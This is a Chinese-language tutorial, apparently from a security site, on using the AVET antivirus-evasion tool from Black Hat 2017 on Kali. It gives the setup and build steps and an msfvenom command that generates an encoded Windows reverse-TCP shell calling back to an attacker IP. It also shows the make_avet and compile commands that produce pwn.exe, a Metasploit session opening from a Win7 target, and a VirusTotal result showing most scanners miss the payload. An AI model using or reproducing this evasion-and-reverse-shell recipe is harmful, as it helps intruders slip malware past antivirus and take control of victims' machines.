AVET:杀软绕过工具使用教程
0x01简介
avet是一款在github(https://github.com/govolution/avet )上的杀软绕过技术工具,同时也是2017亚洲黑帽大会(3月28日 - 7月31日)/美拉斯维加斯黑帽大会(7月22日 - 7月27日PST)的arsnal(https://www.blackhat.com/us-17/arsenal/schedule/index.html)工具之一。
这里是AVET在亚洲黑大上的链接:
https://www.blackhat.com/asia-17/arsenal.html#avet-antivirus-evasion-tool
这里是AVET在拉斯维加斯黑大上的链接:
https://www.blackhat.com/us-17/arsenal/schedule/index.html#avet---antivirus-evasion-tool-7908
0x02环境搭建
我们在kali中测试使用avet,据avet作者介绍,在使用avet前,需要利用wine安装tdm-gcc,根据作者提供的教程(使用TDM GCC与KALI 2)安装tdm-gcc:
https://govolution.wordpress.com/2017/02/04/using-tdm-gcc-with-kali-2/
下载TDM-GCC
从https://sourceforge.net/projects/tdm-gcc/ 下载最新的tdm64-GCC-5.1.0-2.exe
或者在卡利中用wget的:
#wget -c --no-check-certificate https://nchc.dl.sourceforge.net/project/tdm-gcc/TDM-GCC%20Installer/tdm64-gcc-5.1.0-2.exe
安装TDM-GCC
#wine tdm64-gcc-5.1.0-2.exe
弹出安装窗口:
选择create-> MinGW-w64 / TDM64(32位和64位)
默认安装路径C:\ TDM-GCC-64,之后选择默认镜像及组件,完成安装。
0x03使用示例
生成载荷
先从github上上下载AVET:
#git clone https://github.com/govolution/avet
进入构建目录,可以看到各种类型的有效载荷:
这里我们测试build_win32_shell_rev_tcp_shikata_fopen_kaspersky.sh,打开文件编辑:
将lhost设置成卡利的IP,学习端口为卡利监听的端口:
回到上一层目录,这里需要注意一下,从GitHub的上下载的项目文件夹中默认有编译过的make_evet和sh_format,但是在使用时如果平台或架构不同的话会可能发生报错,如作者编译发布的make_evet是64位的,而笔者的环境是32位卡利,运行报错:
root@kali:~/Desktop# file make_avet <font></font>make_avet: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9c06de9a25ab707db3ffc4882cebe862006c2d24, not stripped#gcc -o make_avet make_avet.c<font></font>#gcc -o sh_format sh_format.c下面开始生成有效载荷:
最终生成pwn.exe
测试载荷
在卡利上运行Metasploit的,设置本地监听参数,开始监听:
在一台32位的win7靶机上运行pwn.exe:
回到卡利上,连接已建立:
0x04流程分析
再次查看文件build_win32_shell_rev_tcp_shikata_fopen_kaspersky.sh
脚本先运行
build/global_win32.sh
将编译目标设为Win32的平台:
win32_compiler="wine gcc -m32"
再使用msfvenom 生成shellcode :
msfvenom -p windows/shell/reverse_tcp lhost=192.168.1.120 lport=443 -e x86/shikata_ga_nai -i 3 -f c -a x86 --platform Windows > sc.txt
接着调用format.sh-> sh_format对shellcode进行格式调整/编码
将调整后的的shellcode作为make_avet的输入文件,-E表示启动杀软的沙盒绕过机制
./make_avet -f scclean.txt -F –E
最后写入的defs.h
$win32_compiler -o pwn.exe avet.c
下面附下make_evet的使用说明:
make_avet是AVET中的针对的shellcode的加载,配置工具。使用时,可以选择从本地文件或者网址上加载的shellcode代码,加载的shellcode的代码会被写入到本地的的defs.h文件中,并根据运行make_avet时提供的参数添加额外设置。
make_avet的编译命令如下:
gcc -o make_avet make_avet.c

make_avet 使用说明:0x05查杀情况
我们这里将build_win32_shell_rev_tcp_shikata_fopen_kaspersky.sh 生成的pwn.exe上传virustotal,扫描结果如下图:
虽然还是被卡巴杀了,但整体通过率还是较高的。
0x06参考引用
https://github.com/govolution/avet
https://www.blackhat.com/us-17/
https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf
https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails_-_Daniel_Sauder.pdf
文章出处:安全客
congtou